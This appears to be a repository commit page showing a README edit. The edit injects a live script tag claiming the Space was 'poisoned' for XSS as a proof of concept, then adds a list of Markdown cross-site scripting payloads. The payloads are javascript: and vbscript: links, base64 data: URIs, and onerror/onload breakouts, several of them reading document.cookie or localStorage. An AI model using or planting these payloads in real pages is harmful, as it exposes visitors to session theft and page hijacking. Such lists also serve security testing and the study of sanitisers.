<script>alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')</script>
Browse files# Markdown XSS Payloads
## Links
```markdown
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
```
## Images
```markdown
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
## Fuzzing
```markdown
[XSS](javascript:prompt(document.cookie))
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1))
[XSS](Javascript:alert(1))
[XSS](Javas%26%2399;ript:alert(1))
[XSS](javascript:alert(1))
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](javascript:alert(document.domain))
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```
@@ -1,3 +1,58 @@
|
|
1 |
-
---
|
2 |
-
license: mit
|
3 |
-
---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
---
|
2 |
+
license: mit
|
3 |
+
---
|
4 |
+
|
5 |
+
|
6 |
+
<script>alert('This Space Was Poisoned By Thee Eclipse for XSS as a POC')</script>
|
7 |
+
|
8 |
+
fd
|
9 |
+
|
10 |
+
# Markdown XSS Payloads
|
11 |
+
|
12 |
+
## Links
|
13 |
+
|
14 |
+
```markdown
|
15 |
+
[Basic](javascript:alert('Basic'))
|
16 |
+
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
|
17 |
+
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
|
18 |
+
[URL](javascript://www.google.com%0Aalert('URL'))
|
19 |
+
[In Quotes]('javascript:alert("InQuotes")')
|
20 |
+
```
|
21 |
+
|
22 |
+
## Images
|
23 |
+
|
24 |
+
```markdown
|
25 |
+
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
|
26 |
+
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
|
27 |
+
```
|
28 |
+
|
29 |
+
## Fuzzing
|
30 |
+
|
31 |
+
```markdown
|
32 |
+
[XSS](javascript:prompt(document.cookie))
|
33 |
+
[XSS](j a v a s c r i p t:prompt(document.cookie))
|
34 |
+
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
35 |
+
[XSS](javascript:alert('XSS'))
|
36 |
+
[XSS]: (javascript:prompt(document.cookie))
|
37 |
+
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
38 |
+
[XSS](javascript://%0d%0aprompt(1))
|
39 |
+
[XSS](javascript://%0d%0aprompt(1);com)
|
40 |
+
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
|
41 |
+
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
|
42 |
+
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
43 |
+
[XSS](vbscript:alert(document.domain))
|
44 |
+
[XSS](javascript:this;alert(1))
|
45 |
+
[XSS](javascript:this;alert(1))
|
46 |
+
[XSS](javascript:this;alert(1))
|
47 |
+
[XSS](Javascript:alert(1))
|
48 |
+
[XSS](Javas%26%2399;ript:alert(1))
|
49 |
+
[XSS](javascript:alert(1))
|
50 |
+
[XSS](javascript:confirm(1)
|
51 |
+
[XSS](javascript://www.google.com%0Aprompt(1))
|
52 |
+
[XSS](javascript://%0d%0aconfirm(1);com)
|
53 |
+
[XSS](javascript:window.onerror=confirm;throw%201)
|
54 |
+
[XSS](javascript:alert(document.domain))
|
55 |
+
![XSS](javascript:prompt(document.cookie))\
|
56 |
+
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
57 |
+
![XSS'"`onerror=prompt(document.cookie)](x)\
|
58 |
+
```
|